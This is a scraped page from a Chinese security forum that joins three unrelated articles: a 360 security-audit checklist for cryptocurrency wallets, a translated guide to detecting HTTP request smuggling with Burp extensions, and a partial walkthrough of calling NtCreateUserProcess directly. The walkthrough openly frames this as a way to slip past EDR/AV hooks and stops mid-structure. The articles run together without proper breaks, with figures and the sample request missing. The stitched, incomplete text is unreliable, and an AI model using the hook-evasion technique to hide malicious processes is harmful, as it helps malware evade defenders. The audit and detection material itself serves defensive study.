基于我们对当前数字钱包APP的安全现状分析，我们将发现的安全隐患进行归纳总结，如下文。
图：2-1 APP端安全审核覆盖范围
### 1.1 运行环境安全检测
1.1.1 手机系统漏洞扫描
钱包APP未对于手机当前系统版本进行检测并做出相关，将导致已知漏洞对手机系统的损害，使得钱包APP容易被黑客控制权限，我们将扫描相关严重漏洞，判断当前手机系统安全性。
1.1.2 Root环境检测
钱包APP未对于手机环境进行root检测，会导致APP运行在已root的手机上，使得APP相关核心执行过程被逆向调试分析，我们将会扫描root常见手段，来判定设备是否已被root。
1.1.3 APP完整性检测
钱包APP未做完整性检测，会导致黑客可以对APP重新打包植入恶意代码，窃取用户助记词，私钥等敏感信息，我们将进行模拟攻击，对APP进行重打包，修改验证机制来判定是否可利用此漏洞。
1.1.4 网络代理检测
APP在运行中，未检测是否使用相关代理，将会导致协议交互过程中网络数据被黑客监听，我们将进行模拟黑客攻击，确认是否安全。
1.1.5 网络安全检测
钱包APP未检测验证当前使用网络的DNS是否安全，将会会存在被劫持的可能，导致一些网络回传的数据被黑客恶意修改，我们将通过技术手段模拟黑客攻击，来确认是否安全。
### 1.2. 协议交互安全检测
1.2.1 新用户注册安全
在安装完APP后，新用户需要进行注册，才能使用钱包APP，在这个注册过程中，如将用户敏感信息上传至服务器，会存在很大安全风险，比如传输过程或服务器上被黑客攻击获取注册信息，我们将对网络传输数据进行逆向分析，查看是否存在隐患。
1.2.2 创建交易安全
在用户创建交易时，交易双方的账号如果没有二次验证，则容易导致收款账户信息被恶意替换后无法知道，导致用户钱财损失问题，我们将会使用技术手段进行测试，验证钱包APP是否存在此风险。
1.2.3 交易签名安全
在交易创建后，发送正式签名交易过程，如果相关协议设计不严格，会导致用户财产受到损失，我们会对交易过程逻辑代码进行逆向分析，查看是否存在相关安全隐患。
1.2.4 交易完毕确认
交易完毕后，如果未对交易内容进行确认，会导致使用户清晰了解此次交易过程的记录，在APP上无法记录相关信息，无法查询个人交易记录，我们会对此过程进行分析，查看是否存在相关安全隐患。
1.2.5 余额查询安全
钱包APP在进行余额查询时，无论是从货币官方服务器，还是钱包厂商服务器进行的查询，应严格对其返回给客户端的数据进行完整性验证，否则容意导致用户APP数据接收虚假、异常信息，我们会对此流程进行确认，查看是否存在安全隐患。
### 1.3. 数据存储安全检测
1.3.1 助记词创建安全
新用户使用钱包APP时，会生成助记词要求用户记录，此过程是否有检测截屏，录屏等操作，如未进行安全检测，将会导致钱包核心敏感信息泄露，用户钱财损失。
1.3.2 助记词存储安全
助记词生成后，如果会在本地保存，在本地保存时是明文存储，将会导致黑客进行攻击获取用户助记词信息。如果是加密存储，加密算法安全性不高，将会导致黑客可以逆向分析算法，将加密数据进行恢复明文，导致用户助记词信息泄露。我们会模拟黑客攻击，检测相关流程是否存在安全隐患。
1.3.3 私钥生成安全
钱包APP在新用户私钥生成过程，相关算法如果可被逆向分析，会导致黑客模拟生成的私钥，使用户的钱财受到损失，我们将会模拟黑客攻击，逆向分析相关算法，确认是否存在此安全隐患。
1.3.4 私钥储存安全
私钥生成后，如果会在本地保存，在本地保存时是明文存储，将会导致黑客进行攻击获取用户私钥信息。如果是加密存储，加密算法安全性不高，将会导致黑客可以逆向分析算法，将加密数据进行恢复明文，导致用户私钥信息泄露。我们会模拟黑客攻击，检测相关流程是否存在安全隐患。
1.3.5 本地存储数据敏感性检测
在本地存储数据时，是否会将敏感信息保存在本地，如果一些对用户敏感的信息保存在本地，容易被攻击者进行逆向分析，我们会对其进行逆向分析，查看本地是否存在敏感信息。
### 1.4. 功能设计安全检测
1.4.1导入钱包功能安全
用户使用导入钱包的功能，是会将之前用户存储在系统中的私钥直接恢复，恢复过程如果被监控，相关功能设计不严格，会导致在此过程被黑客攻击，我们会模拟黑客攻击，进行相关验证。
1.4.2 交易密码安全
交易密码如果未检测弱口令，将会导致黑客对密码进行猜解，直接进行交易；交易密码日字旁本地存储，本地储存加密不严格，则会导致黑客对其进行逆向分析，获取到交易密码，我们将模拟黑客攻击，验证此安全隐患是否存在。
1.4.3 用户输入安全
用户输入数据，如果功能设计不严格，将会被黑客监听窃取；如果采用第三方键盘进行，未对用户输入逻辑做校验，容易被黑客监听获取敏感信息，我们将会模拟黑客攻击，查看相关流程是否严格，验证此安全隐患是否存在。
1.4.4 转账地址安全检测
钱包APP在输入转账地址或扫描二维码转账地址后，如果未检测地址被篡改，保证转账地址完整，会导致用户钱财受到损失，我们将会模拟黑客攻击，查看相关流程是否存在安全隐患。
1.4.5 助记词，私钥网络储存安全
助记词和私钥应当禁止通过网络传输回APP厂商，防止服务器被攻击用户数据与钱财被盗取，如果有相关回传数据操作，容易导致用户数据与钱财被盗。我们将逆向分析相关网络协议，查看是否存在相关安全隐患。
1.4.6 https通信中的证书校验
在数据网络交互通信中，如果使用https，未对证书做严格的校验，将会导致中间人劫持攻击，黑客将数据替换，导致用户在APP上收到虚假信息，我们将会模拟黑客攻击，对此过程进行验证，确认是否存在相关安全隐患。
## 二、审计钱包APP服务端安全隐患
服务端作为区块链数字钱包的中心化对象，显然已是黑客十分青睐的攻击目标，安全是其健壮运行的核心基石。
基于我们对当前数字钱包服务端的安全现状分析，我们将相关审计点进行归纳总结，并提供相关安全建议。
图：2-2 钱包APP服务端安全审核覆盖范围
### 2.1. 域名DNS安全检测
2.1.1 域名注册商安全检测评估
对数字钱包所用域名注册商，需进行评估，防止钱包域名被恶意社工篡改和攻击。建议使用国内外排名靠前的域名注册商。
2.1.2 域名记录安全检测
对数字钱包接口所用域名及其解析记录，增改进行审核，并定期复查，防止被CNAME/NS/SOA劫持，做好权限管理和日志收集。数字钱包使用云CDN时，合理配置相关参数，避免子域劫持，域名前置，Web缓存欺骗等安全问题，同时选用业界安全性较好的CDN服务提供商。
2.1.3 DNS 服务安全检测
域名解析服务，钱包厂商自建的，做好上线前的审计和运行后的定期复查。使用第三方DNS解析服务的，建议一定要选用国内外大厂商，预防域名解析被恶意社工或利用漏洞篡改，或拒绝服务攻击。合理配置DNS配置参数，预防伪造邮件,证书校验,DNSSEC,高纬度攻击BGP等安全问题。
2.1.4 TLD/gTLD安全检测
建议使用org等顶级域名，不要选用小众后缀域名，防止被恶意篡改和劫持上层记录。如2017年6月，Matthew劫持io顶级域.
2.1.5 全网多节点DNS解析监测
选用排名靠前的第三方服务，使用全球不同节点对DNS记录进行解析，监控解析结果是否正常，是否被污染篡改等。如遇大面积故障，协调多方及时应急响应。
2.1.6 证书安全
数字钱包内置证书时，选用20年等时间较长的证书，避免APP升级迭代后的兼容问题。同时建议选择国内外知名证书机构签发的证书，避免信任链牵连问题。
### 2.2. 主机实例安全检测
2.2.1 口令安全
审计数字钱包所用服务口令强度，建议设置为强密码，SSH类使用证书登陆，最好前置堡垒机。
2.2.2 系统安全
数字钱包服务端系统，高危漏洞及时更新，系统和内核等加固配置，减轻未知的漏洞，预防被攻击后的提权和横向渗透等操作。
2.2.3 访问控制
数字钱包服务端在云上时，云安全组ACL是其第一道防线，严格限制出入站端口和ip的开放，避免高危和敏感服务暴露。同时，控制敏感服务出站流量。VPC是在云中预配置出一个逻辑隔离的环境，不要选用经典网络等各租户互通的网络环境，预防阿里云租户之前的经典网络内网攻击路线。数字钱包服务端系统，使用Iptables等保护系统相互隔离，控制资源仅可信域连接。
2.2.4日志审计
搜集和保存数字钱包服务端各种日志，便于服务状态监控，故障排查，被渗透后的溯源追踪等。日志保存时间至少6个月以上。
2.2.5冗余安全
对数字钱包核心系统进行冗余配置，保证服务的高可用。定期进行系统快照，核心数据备份等。检测数字钱包账户下EBS(区块存储)，RDS(云数据库)，AMI(主机镜像)等所有快照和备份服务，严格保证其为私密权限，防止意外暴露。
2.2.6云IAM授权检测
如使用云IAM，因为IAM是云上对用户权限，资源权限控制的一种服务，检测数字钱包使用过程中的配置安全问题。妥善保管凭证，合理分配权限。
### 2.3 服务端应用安全检测
2.3.1 代码安全
数字钱包APP代码和服务端代码,上线前进行进行安全审核，检查通过后，允许上线。每次改动代码后，也要进行安全复查，同时定期进行黑灰盒扫描测试。另外对代码进行严格控制，防止上传到Github等第三方代码托管平台。
2.3.2 服务应用安全
数字钱包服务端应用上线前，先进行安全加固，运行时保持低权限运行，同时定期监控，黑白盒扫描漏洞。
2.3.3 环境隔离
数字钱包不同功能的服务，建议模块化运行，保持相互独立且隔离，防止越权访问和读取数据，减轻被攻击后的横向渗透。
2.3.4 云存储
数字钱包如使用类似Amazon S3的对象存储服务时，严格控制权限问题，防止未授权可读写造成一系列安全问题。
## 三、审计冷钱包安全隐患
2018年，技术处于全球领先的硬件数字钱包制造商Ledger在完成7500万美元的B轮融资后被爆出钱包设计存在缺陷，黑客可通过恶意软件篡改钱包地址，并将数字货币转给黑客。
硬件钱包目前也是使用趋势，实际上是将密钥保存在了硬件芯片当中，不过依然会存在很多安全风险，我们将从以下几点说明。
图：3-1 冷钱包安全审核覆盖范围
### 3.1.设备系统安全机制
3.1.1 硬件钱包是否存在联网控制
设备在使用过程中，是否有联网操作，是否全程隔绝物理网络，如未做相关设计，黑客的攻击面则会变大，导致设备更加容易被攻击。
3.1.2 硬件钱包系统安全检测
设备是否保留蓝牙，wifi，nfc相关近景协议模块，是否有安全防护措施，是否有漏洞扫描。
3.1.3 硬件钱包系统漏洞更新机制
如何设备存在漏洞，更新机制是如何进行的，在更新过程中，是设备与电脑进行连接刷机还是什么方式，如未校验系统完整性，则导致更新刷入的系统无法控制，刷入黑客修改的恶意系统，对所有流程进行控制。
3.1.4 设备丢失锁定方案
是否有健全的机制对设备丢失模式进行判定，将设备锁定,如未做相关设计，则容易导致用户钱财受到损失。
### 3.2设备访问权限控制
3.2.1 是否允许用户对设备进行连接调试
对设备是否加入了严格的权限控制，防止攻击者对设备进行连接调试，分析转账中功能实现部分，交易过程中本地数据读取等。
3.2.2 是否允许用户对设备存储区进行读写
对于设备存储区，是否有做严格加密，对存储区的权限控制是否严格，如不严格，则会被黑客进行拆机对存储区做分析提取数据。
3.2.3 是否允许用户对设备内存进行转储分析
对设备被调试是否有做检测，防止内存数据泄露，如未做相关设计，则会导致黑客进行数据采集和逆向分析。
3.2.4 是否采用加密芯片
私钥存储是否采用加密芯片保存相关信息，运行系统和私钥存储是否分离，如未采用，则安全性相对会低。
### 3.3业务功能实现机制
3.3.1设备使用密码设置
是否提醒用户设置解锁密码，解锁手势或指纹解锁，错误密码解锁时间周期，设备交易密码强度是否为较高，如未有完善的密码设置控制，则在设备丢失后无法被人直接进入查看个人隐私信息，进行交易。
3.3.2创建钱包助记词安全
新用户使用钱包时创建助记词，私钥过程是否安全，是否本地保存，本地保存如何来做，如相关功能设计未考虑安全性，则会导致相关数据被逆向调试分析泄露，对用户钱财造成损失。
3.3.3交易过程安全
对于收账地址是否完全显示，是否有验证地址被修改，如未校验，则容易使用户转账转错，钱财受到损失。。
3.3.4数据存储安全
有哪些数据是保存在存储设备上，私钥储存方式如何，是否保存在设备存储卡上，被外部获取，如相关功能设计不完善，则容易被黑客攻击。
3.3.5系统完整性安全
设备系统是否有严格的完整性校验，用于自检设备是否被人刷机，正品保障，否则容易在设备出厂经销地方被黑客或攻击者进行篡改。
## 四、总结
现阶段，市面上有大量良莠不齐的数字货币钱包存在，而不少开发团队在以业务优先的原则下，暂时对自身钱包产品的安全性并未做到足够的防护，一旦出现安全性问题会导致大量用户出现账户货币被盗，而由于数字货币实现的特殊性，被盗资产非常难以追回，因此钱包的安全性是至关重要的。我们团队会不断跟进钱包安全，为区块链生态安全贡献一份力量。
对于漏洞等级的相关说明，我们做了一下总结，如下表：
名称
| 等级 | 危害
---|---|---
助记词创建过程不安全 | 高级 | 助记词的创建过程如果允许被录屏，截屏等操作，会导致助记词被窃取
助记词不安全存储 | 高级 | 助记词明文或者弱加密存储，黑客在拿到后可以暴力解密出来导致助记词被窃取
私钥不安全生成 | 高级 | 私钥生成过程存在问题，导致攻击者可模拟私钥生成，造成私钥被窃取
私钥不安全存储 | 高级 | 私钥使用不安全存储可能导致恶意应用获取到私钥，造成私钥被窃取
硬件钱包助记词不安全存储 | 高级 | 助记词的不安全存储可能导致助记词被窃取
转账地址可篡改 | 高级 | 如果恶意软件可以篡改转账地址将会导致用户将数字货币转到黑客账户
服务器弱口令 | 高级 | 服务器使用弱口令，黑客极易拿下服务器权限
硬件钱包系统漏洞攻击 | 高级 | 不进行定期扫描系统漏洞可能会存在漏洞，导致黑客攻击获取邮件钱包权限
本地敏感信息不安全存储 | 中级 | 本地敏感信息不安全存储可能导致敏感信息的泄露
钱包导入过程不安全 | 中级 | 钱包导入的时候如果允许录屏截屏会导致密钥泄露
交易密码弱口令 | 中级 | 如果交易密钥使用弱口令，黑客可以暴力破解并操作账户
用户输入不安全 | 中级 | 用户输入如果被黑客监听或者劫持，关键信息可能会被黑客猜测出来
助记词/私钥回传 | 中级 | 数字钱包开发商将私钥/助记词等数据回传可能导致私钥/助记词的泄露
查询越权 | 中级 | 如果用户数据在钱包服务器进行存储，越权漏洞会泄露用户信息
未进行系统漏洞扫描 | 中级 | 未进行系统漏洞扫描，系统可能存在能被黑客利用的漏洞，可能被黑客窃取到关键数据
域名解析被篡改 | 中级 | 域名解析被篡改会导致劫持
钱包域名DNS污染 | 中级 | DNS被污染可能导致用户被劫持，可能被钓鱼窃取用户账户密码身份证等信息
服务器未定期进行漏洞扫描 | 中级 | 服务器未定期做漏洞扫描可能会存在高危漏洞，导致被黑客入侵拿下权限
云服务器未做访问控制 | 中级 | 服务器未做访问控制
服务器未进行日志审计 | 中级 | 服务器未定期审计日志可能会导致黑客长期控制服务器
核心代码泄露 | 中级 | 服务器和数字钱包核心代码泄露容易被黑客获取到审计出漏洞
服务器应用存在漏洞 | 中级 | 存在漏洞的服务器容易被黑客攻击，泄露用户敏感数据
服务器未实行环境隔离 | 中级 | 服务器未实现运行环境隔离可能会导致其它恶意应用窃取到用户敏感数据
云存储不安全配置 | 中级 | 使用第三方云存储上存储数字钱包数据时需做严格权限控制
硬件钱包无丢失应急机制 | 中级 | 当用户丢失硬件钱包，如无丢失应急机制，可能导致账户被盗
硬件钱包可调式 | 中级 | 硬件钱包可调式可导致程序运行时关键数据泄露
硬件钱包固件可读写 | 中级 | 攻击者可以通过芯片引脚进行固件的提取，导致固件被逆向分析
硬件钱包芯片未加密 | 中级 | 未加密的芯片降低了被逆向分析的难度
硬件钱包未设置密码 | 中级 | 硬件钱包未设置密码可能在丢失后被直接用于转账，令用户处于极高的风险下
硬件钱包存储不安全 | 中级 | 如果存储设备可读写会导致敏感信息的泄露
硬件钱包固件完整性未校验 | 中级 | 未检测固件完整性，可能导致固件被篡改，植入恶意代码导致交易风险
https证书不严格校验 | 中级 |
证书不严格校验可导致中间人攻击
图：4-1 漏洞风险等级列表
## 五、关于我们
360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有[区块链安全](https://bcsec.360.cn)、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全、等多个方向，基本覆盖互联网安全主要领域。
**区块链生态安全解决方案，了解更多请点击** ——360区块链安全：<https://bcsec.360.cn/> | 社区文章 |
# 利用Burp插件挖掘HTTP请求走私
HTTP请求走私通常遗留在漏洞发现赏金项目中。但通过正确的插件，您
可以在下一个赏金项目中自动化地完成挖掘HTTP请求走私漏洞的过程。
## 了解HTTP请求走私
现代网站经常部署多个代理服务器用于转发用户请求到托管Web应用程序的真实服务器。这些带有真实后端的前端服务器或代理服务器是云应用中最常见的架构。
前端服务器用于获取多个用户的请求并转发给后端服务器。这两个前后端服务器必须在两个不同用户的请求边界上达成一致。有时候，两者服务器不能在边界上达成一致，攻击者便能够通过利用处理不一致来修改HTTP请求，造成HTTP请求走私。
> **当前后端服务器对用户请求边界不一致时，就会出现HTTP请求走私。**
边界(即)HTTP请求的结尾由"Content-Length"或"Transfer-Encoding"
HTTP标头定义。有些服务器不支持"Transfer-Encoding"，有些服务器将"Content-Length"标头作为默认请求结尾的定义(如果两者都出现在请求中)。如果前后端服务器配置不当，它们会取不同的边界值，从而导致请求走私漏洞。
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
Content-Length: 4
> 存在两个标头的请求示例
攻击者可以在HTTP请求中包含两个不同边界的值的两个标头。如果前端服务器接收"Transfer-Encoding" 而后端服务器接收"Content-Length"标头，因为每个头中的边界值不一致，会导致请求过程受到污染。反之亦然，前端服务器接收"Content-Length"，后端服务器接收"Transfer-Encoding"。前者称为TE.CL,后者称为CL.TE 请求走私漏洞。
前端和后端服务器的这种模棱两可的处理机制会导致HTTP请求走私，用于获取的未授权数据、接管应用程序等。
虽然我可以更多地谈论这个漏洞，但这不是这篇文章的意图。
## 手工查找HTTP请求走私
在使用burp插件自动发现请求走私漏洞之前，让我们看看该如何手动检测它。这样您可以对这个漏洞了解地更深入。
您只需要同时发送经过修改的带有"Content-Length"和"Transfer-Encoding"头部HTTP请求。如果时间延迟了，服务器比正常情况花更多时间来处理这个污染的请求，那么意味着您发现了一个HTTP请求走私漏洞。
**示例请求:**
如果前端服务器只接受"Transfer-Encoding"头部，那么它会省略'0'之后的所有内容，将上面没有"Y "的内容发送给后端服务器。
如果后端服务器只使用Content-Length头部，那么他会认为请求的长度只有4。但由于前端服务器遗漏了一些数据，实际请求的长度小于4。因此后端服务器会等待一段时间来接收剩余的数据。这会造成时间延迟，从而检测到请求走私漏洞。
您可以编辑相同的请求在使用"Content-Length"的前端服务器和使用"Transger-Encoding"标头的后端服务器来查找漏洞。
## 利用Burp Suite扩展查找HTTP请求走私漏洞
### HTTP Request Smuggler
HTTP Request Smuggler 是一个 burp
扩展，可帮助您自动完成上述手动任务来寻找此漏洞。手动查找漏洞是可以做到的，但非常繁琐，因此您可以利用burp中的现有扩展来实现这个过程。
安装扩展程序后，您可以立即开始使用它。右键单击Burp Proxy截获的请求，然后点击HTTP Request Smuggler->Smuggle
Probe。然后它会自动修改拦截的请求并发送它以查找漏洞。它会发送许多修改的请求来检查此漏洞的两种类型-CL.TE &
TE.CL。如果有任何与此相关的发现，您将可以在scan issues activity页面中找到它们。
### 默认Burp Suite主动扫描
实际上，如果您使用Burp Suite主动地去扫描一个目标，也可以检测HTTP 请求走私漏洞。您可以在Burp Suite的Active
Scan配置中看到这一点。完成主动扫描后，Burp Suite还会在问题活动页面上报告发现的结果。如果您遇到此问题，请不要忽略它。处理它并通过HTTP
Request Smuggeler扩展来确认此漏洞。
## 总结
HTTP请求走私是一个经常被忽视的严重漏洞。我实际上在一个真实系统，通过使用主动扫描和Request
Smuggler扩展发现过此漏洞。希望这篇文章能让您了解到这个漏洞以及该如何检测它。如果您想要了解更多关于此漏洞的信息，您可以查看Port Swigger
，其中有关于它的详细说明。
> 本文为翻译文章，原文链接:<https://infosecwriteups.com/leveraging-burp-suite-extension-> for-finding-http-request-smuggling-2c0b5321f06d> | 社区文章 |
**前置知识**
基于一些github的代码项目能更好的理解
首先我们先来了解一下，CreateProcess 和 NtCreateUserprocess。
在以前的 XP
时代，必须执行四个系统调用（NtOpenFile、NtCreateSection、NtCreateProcess(Ex)、NtCreateThread(Ex)）才能创建一个新的准备好运行的用户模式进程。启动一个新进程，只需要调用一个系统服务，即NtCreateUserProcess。那CreateProcess又是一个什么角色呢？
CreateProcess此函数主要就是创建新的进程，创建的进程在调用进程的上下文（同样的访问令牌）中运行。
CreateProcess通过内核创建进程的步骤，大致分为六个阶段
● 打开目标映像文件
● 创建内核中的进程对象
● 创建初始线程
● 通知windows子系统
（每个进程在创建/退出的时候都要向windows子系统进程csrss.exe进程发出通知，因为它担负着对windows所有进程的管理的责任，注意，这里发出通知的是CreateProcess的调用者，不是新建出来的进程，因为它还没有开始运行）
● 启动初始线程
● 用户空间的初始化和Dll连接
CreateProcess其实是3环的函数，也就是用户态的 而NtCreateUserprocess函数是位于0环内的
网上有画的很直观的图片
我们也可以通过断点调试来验证一下触发的流程
断点的调试的流程与上图区分的是对应的。
那么从 API 到 NtCreateUserProcess 的调用链
就是kernel32.dll!CreateProcessW-->CreateProcessInternalW-->ntdll.dll!NtCreateUserProcess
其中NtCreateProcess()做的事情，主要包括：
● 创建以EPROCESS为核心的相关数据结构，分配并设置EPROCESS数据结构；
● 其他相关的数据结构的设置，如句柄表等等；
● 为目标进程创建初始的地址空间；
● 对EPROCESS进行初始化；
● 将系统Dll映射到目标用户空间，如ntdll.dll等
● 设置目标进程的PEB；
● 将其他需要映射到用户空间，如与”当地语言支持“即NLS有关的数据结构；
● 完成EPROCESS创建，将其挂入进程队列并插入创建者的句柄表
NtCreateUserProcess()是在用户模式下可访问的最后一个函数。为什么去实现它自然是因为藏的深。如果直接调用CreateProcess
EDR/AV的话肯定会很容易hook到检查到的这个常见马子的操作的API。
如果调查层比较深，或者函数不是常见的类型的话就不容易察觉了。所以现在更多的都喜欢使用NtCreateUserProcess也就是CreateProcess
调用的最后一层来去实现想要的功能。
那么再来看一下NtCreateUserProcess的原型
NTSTATUS NTAPI
NtCreateUserProcess(
_Out_ PHANDLE ProcessHandle,
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK ProcessDesiredAccess,
_In_ ACCESS_MASK ThreadDesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
_In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
_In_ ULONG ProcessFlags,
_In_ ULONG ThreadFlags,
_In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
_Inout_ PPS_CREATE_INFO CreateInfo,
_In_ PPS_ATTRIBUTE_LIST AttributeList
);
我们还需要再来了解NtCreateUserProcess的参数
ProcessHandle ThreadHandle这两个从名字就能知道了是分别用来存储进程和线程的句柄
ProcessDesiredAccess ThreadDesiredAccess 这两个对上述进程和线程的权利和控制权也就是访问权限的配置
下图也有针对如此更详细的描述，可使用参数的介绍
**THREAD**
通过ACCESS_MASK值，来标识我们对正在创建的进程和线程拥有的权利和控制权。
由于我们只处理进程和线程对象，我们可以使用进程和线程特定的访问权限，所以本POC使用的则是PROCESS_ALL_ACCESS
和THREAD_ALL_ACCESS 来进程和线程的权限拉到最高。
ProcessObjectAttributes ThreadObjectAttributes 它两是指向的指针OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
此结构包含可应用于将要创建的对象或对象句柄的属性。
ProcessFlags ThreadFlags 这两个是比如我们希望在创建时挂起进程/线程 可以进行设置，它们参数可以从Process Hacker
项目中了解，这个规范化的命名也很好能让我们理解。还贴心有了注释,大致可以设置参数如下
ProcessFlags
#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx & NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx & NtCreateUserProcess
// ThreadFlags
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess & NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 //
ProcessParameters 该参数指向一个RTL_USER_PROCESS_PARAMETERS结构体。
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
该结构体描述了要创建的进程的启动参数。而该结构将保存作为执行参数，构建则需要依靠另一个API: RtlCreateProcessParametersEx
NTSTATUS NTAPI
RtlCreateProcessParametersEx(
_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
_In_ PUNICODE_STRING ImagePathName,
_In _opt_ PUNICODE_STRING DllPath,
_In _opt_ PUNICODE_STRING CurrentDirectory,
_In _opt_ PUNICODE_STRING CommandLine,
_In _opt_ PVOID Environment,
_In _opt_ PUNICODE_STRING WindowTitle,
_In _opt_ PUNICODE_STRING DesktopInfo,
_In _opt_ PUNICODE_STRING ShellInfo,
_In _opt_ PUNICODE_STRING RuntimeData,
_In_ ULONG Flags
);
pProcessParameters参数指向的就是RTL_USER_PROCESS_PARAMETERS结构
ImagePathName就是启动进程的路径
通过RtlInitUnicodeString实现，是初始化UNICODE_STRING结构必须的。
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
结构的初始化UNICODE_STRING通过以下方式完成：
将Length和MaximumLength成员设置为的长度SourceString
将Buffer成员设置为传入的字符串的地址SourceString
使用了RtlInitUnicodeString函数最主要就是为了初始化UNICODE_STRING结构
最后简单代码实现
RtlInitUnicodeString(&ImagePath, (PWSTR)L"\??\C:\Windows\System32\calc.exe");
其中我们还需要了解一下Flag，其中从其他的参数也能明白一般创建的过程中可操作性最高的就是关于标志位的设置。
Flag是用来规范RTL_USER_PROCESS_PARAMETERS_NORMALIZED。
因为创建进程时，如果还没有完全初始化的话，那么被访问的内存只是描述进程的结构的相对偏移量，而不是实际的内存地址。
所以我们需要设置Flag来避免这一问题。
那么最后实现就是
RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
CreateInfo 参数它是一个指向PS_CREATE_INFO结构的指针
因为关于此参数的包括其结构的信息较少，所以这里借鉴[两个](https://bbs.kanxue.com/thread-272798.htm
"两个")[文章](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntpsapi/ps_create_info/index.htm
"文章")可以很好的理解,就不再重复叙述
这个就是部分关于CREATE_INFO的结构体
typedef struct _PS_CREATE_INFO
{
SIZE_T Size;
PS_CREATE_STATE State;
union
{
// PsCreateInitialState
struct
{
union
{
ULONG InitFlags;
struct
{
UCHAR WriteOutputOnExit : 1;
UCHAR DetectManifest : 1;
UCHAR IFEOSkipDebugger : 1;
UCHAR IFEODoNotPropagateKeyState : 1;
UCHAR SpareBits1 : 4;
UCHAR SpareBits2 : 8;
USHORT ProhibitedImageCharacteristics : 16;
};
};
ACCESS_MASK AdditionalFileAccess;
} InitState;
PS_CREATE_INFO结构是在NtCreateUserProcess 和ZwCreateUserProcess函数的用户模式和内核模式之间交换
其中我们要关注的就是PS_CREATE_STATE的PsCreateInitialState
所以设置为如下，初始化的话我们就填入状态和大小就行
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
AttributeList 参数是用于设置进程和线程创建的属性，结构体信息
Windows 内部结构，第 1 部分（第 7 版） 书中有关于进程属性的一张表，很好的做了一部分诠释
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
